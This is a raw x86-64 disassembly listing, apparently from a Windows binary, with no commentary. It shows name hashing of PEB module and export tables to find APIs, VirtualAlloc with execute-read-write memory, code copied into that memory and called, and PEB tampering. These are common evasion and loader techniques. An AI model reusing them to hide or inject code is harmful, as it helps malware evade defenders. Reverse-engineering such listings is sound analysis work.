movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401fc901
jmp 0x1401fc924
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401fc917
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401fc814
mov qword [0x14044bb38], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x14044bb78]
xor eax, eax
test rbx, rbx
jne 0x1401fcac0
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fc9d5
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401fc9c7
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401fc9b6
cmp r8d, esi
jne 0x1401fcaa2
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x1401fcaa2
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401fcaa2
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x1401fca29
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401fca1e
cmp edx, r14d
je 0x1401fca3f
test r9d, r9d
jne 0x1401fca09
jmp 0x1401fcaa2
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x1401fcab9
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1401fcab9
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401fca81
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1401fca73
jmp 0x1401fca96
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
test al, al
jne 0x1401fca89
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401fcab6
cmp qword [rbx + 0x30], rax
jne 0x1401fc985
mov rbx, rax
mov qword [0x14044bb78], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14044bb70]
xor eax, eax
test rdx, rdx
jne 0x1401fcc39
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fcb4e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401fcb40
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401fcb2f
cmp r8d, esi
jne 0x1401fcc1b
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401fcc1b
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401fcc1b
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401fcba2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401fcb97
cmp edx, r14d
je 0x1401fcbb8
test r9d, r9d
jne 0x1401fcb82
jmp 0x1401fcc1b
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401fcc32
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401fcc32
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401fcbfa
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401fcbec
jmp 0x1401fcc0f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401fcc02
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401fcc2f
cmp qword [rdi + 0x30], rax
jne 0x1401fcafe
mov rdx, rax
mov qword [0x14044bb70], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb68]
xor eax, eax
test rdx, rdx
jne 0x1401fcda9
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fccbe
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401fccb0
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401fcc9f
cmp r8d, esi
jne 0x1401fcd8b
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401fcd8b
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401fcd8b
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401fcd12
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401fcd07
cmp edx, r14d
je 0x1401fcd28
test r9d, r9d
jne 0x1401fccf2
jmp 0x1401fcd8b
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401fcda2
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401fcda2
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401fcd6a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401fcd5c
jmp 0x1401fcd7f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401fcd72
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401fcd9f
cmp qword [rdi + 0x30], rax
jne 0x1401fcc6e
mov rdx, rax
mov qword [0x14044bb68], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb60]
xor eax, eax
test rdx, rdx
jne 0x1401fcf19
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fce2e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401fce20
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401fce0f
cmp r8d, esi
jne 0x1401fcefb
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401fcefb
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401fcefb
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401fce82
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401fce77
cmp edx, r14d
je 0x1401fce98
test r9d, r9d
jne 0x1401fce62
jmp 0x1401fcefb
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401fcf12
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401fcf12
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401fceda
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401fcecc
jmp 0x1401fceef
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401fcee2
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401fcf0f
cmp qword [rdi + 0x30], rax
jne 0x1401fcdde
mov rdx, rax
mov qword [0x14044bb60], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x14044bb58], rax
jne 0x1401fd088
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fcf9b
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401fcf8d
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401fcf7c
cmp r8d, esi
jne 0x1401fd06a
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401fd06a
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401fd06a
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401fcfef
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401fcfe4
cmp edx, r14d
je 0x1401fd005
test r9d, r9d
jne 0x1401fcfcf
jmp 0x1401fd06a
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x1401fd081
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x1401fd081
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401fd047
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401fd039
jmp 0x1401fd05d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r13
mov al, byte [r9]
test al, al
jne 0x1401fd050
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401fd07e
cmp qword [rdi + 0x30], rax
jne 0x1401fcf4b
mov r9, rax
mov qword [0x14044bb58], r9
mov r8, qword [0x14044bb90]
test r8, r8
jne 0x1401fd0ff
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x1401fd0e5
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401fd0c6
cmp r8d, 0x610c0de3
je 0x1401fd152
mov r9, qword [r9]
xor eax, eax
cmp r9, r10
je 0x1401fd0f5
cmp qword [r9 + 0x30], rax
jne 0x1401fd0ab
mov r8, rax
mov qword [0x14044bb90], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r10d, dword [r11 + r8 + 0x20]
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r13
test al, al
je 0x1401fd14d
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r13
test al, al
jne 0x1401fd131
cmp ecx, 0xe463da3c
je 0x1401fd158
add r9d, r13d
jmp 0x1401fd115
mov r8, qword [r9 + 0x30]
jmp 0x1401fd0f8
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14044bb88]
xor eax, eax
test r10, r10
jne 0x1401fd2f3
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fd1fd
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401fd1ef
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401fd1de
cmp r8d, esi
jne 0x1401fd2cf
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401fd2cf
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401fd2cf
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401fd251
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401fd246
cmp edx, r14d
je 0x1401fd267
test r9d, r9d
jne 0x1401fd231
jmp 0x1401fd2cf
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x1401fd2e6
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1401fd2e6
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401fd2c2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401fd29e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1401fd2b5
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401fd2e3
cmp qword [rdi + 0x30], rax
jne 0x1401fd1ad
mov r10, rax
mov qword [0x14044bb88], r10
mov r13d, 1
lea r9, [rbp + 0x11a8]
mov r8d, r13d
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x14044bb80]
xor eax, eax
test r8, r8
jne 0x1401fd479
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fd389
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401fd37b
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401fd36a
cmp r8d, esi
jne 0x1401fd45b
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401fd45b
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401fd45b
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401fd3dd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401fd3d2
cmp edx, r14d
je 0x1401fd3f3
test r9d, r9d
jne 0x1401fd3bd
jmp 0x1401fd45b
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x1401fd472
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x1401fd472
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1401fd44e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x1401fd42a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x1401fd441
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401fd46f
cmp qword [rdi + 0x30], rax
jne 0x1401fd339
mov r8, rax
mov qword [0x14044bb80], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
sub eax, 0x66666667
mov dword [rdx + 0x40], eax
lea rbx, [0x1401e9d64]
xor eax, eax
mov qword [rbp + 0x28], rax
mov dword [rbp - 0x60], eax
mov qword [rbp], rax
lea rax, [0x1402218f8]
mov qword [rbp + 8], rax
xor eax, eax
mov dword [rbp - 0x5c], eax
mov qword [rbp - 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], rax
lea rdx, [rbp + 0x4228]
lea rcx, [rbp + 0x68]
call fcn.1401c10b4
nop
xor edx, edx
mov ecx, edx
mov edi, 0x1f4
lea r14, [0x1401b0e98]
lea rsi, [0x140000000]
mov rax, qword [0x14044b4f0]
test rax, rax
je 0x1401fd541
lea r15d, [rdx + 1]
cmp rax, r14
je 0x1401fd52e
add ecx, r15d
mov rax, qword [rsi + rcx*8 + 0x44b4f0]
test rax, rax
jne 0x1401fd517
jmp 0x1401fd541
mov eax, ecx
mov r10, qword [rsi + rax*8 + 0x44b810]
test r10, r10
jne 0x1401fd626
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
xor eax, eax
test r10, r10
jne 0x1401fd56a
mov r10d, eax
jmp 0x1401fd5ff
mov rax, r14
mov rcx, r10
mov edx, 3
lea r8d, [rdx + 0x7d]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x1401fd579
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14044b4e0]
mov qword [rsi + rax*8 + 0x44b4f0], r14
mov qword [rsi + rax*8 + 0x44b810], r10
mov r15d, 1
add rax, r15
mov qword [0x14044b4e0], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 8]
lea r8, [rbp - 0x5c]
lea rdx, [rbp - 0x38]
mov rcx, rbx
call r10
nop
mov rdx, qword [rbp + 0x68]
xor rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x78]
mov qword [rcx], rdx
mov qword [0x14044b478], rax
xor eax, eax
mov qword [rbp + 0x18], rax
mov dword [rbp - 0x74], eax
mov qword [rbp - 0x40], rax
lea rax, [0x1401c1394]
mov qword [rbp - 0x30], rax
xor eax, eax
mov dword [rbp - 0x70], eax
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
lea rdx, [rbp + 0x4228]
lea rcx, [rbp + 0x80]
call fcn.1401c10b4
nop
xor edx, edx
mov ecx, edx
mov rax, qword [0x14044b4f0]
jmp 0x1401fd6cd
cmp rax, r14
je 0x1401fd6d4
add ecx, r15d
mov rax, qword [rsi + rcx*8 + 0x44b4f0]
test rax, rax
jne 0x1401fd6bd
jmp 0x1401fd6e7
mov eax, ecx
mov r10, qword [rsi + rax*8 + 0x44b810]
test r10, r10
jne 0x1401fd7c6
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
xor eax, eax
test r10, r10
jne 0x1401fd710
mov r10d, eax
jmp 0x1401fd7a5
mov rax, r14
mov rcx, r10
mov edx, 3
lea r8d, [rdx + 0x7d]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x1401fd71f
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14044b4e0]
mov qword [rsi + rax*8 + 0x44b4f0], r14
mov qword [rsi + rax*8 + 0x44b810], r10
add rax, r15
mov qword [0x14044b4e0], rax
lea rax, [rbp + 0x18]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x74]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x30]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x28]
mov rcx, rbx
call r10
nop
mov rdx, qword [rbp + 0x80]
xor rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x90]
mov qword [rcx], rdx
mov qword [0x14044b480], rax
mov byte [0x14044b464], r15b
xor ebx, ebx
cmp qword [0x14044b478], rbx
je 0x1401fdb8f
test rax, rax
je 0x1401fdb8f
call fcn.1401e99fc
test al, al
je 0x1401fdb8f
mov rcx, qword [0x14044b478]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
je 0x1401fdb8f
mov rcx, qword [0x14044b480]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
je 0x1401fdb8f
mov r12d, 0xbb21e02e
mov rdx, qword [0x14044bbb8]
xor eax, eax
test rdx, rdx
jne 0x1401fd9db
mov esi, eax
mov r14d, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fd8ed
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401fd8df
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401fd8ce
cmp r8d, esi
jne 0x1401fd9bd
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401fd9bd
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401fd9bd
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401fd941
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401fd936
cmp edx, r14d
je 0x1401fd957
test r9d, r9d
jne 0x1401fd921
jmp 0x1401fd9bd
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401fd9d4
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401fd9d4
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401fd9b1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401fd98e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401fd9a4
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
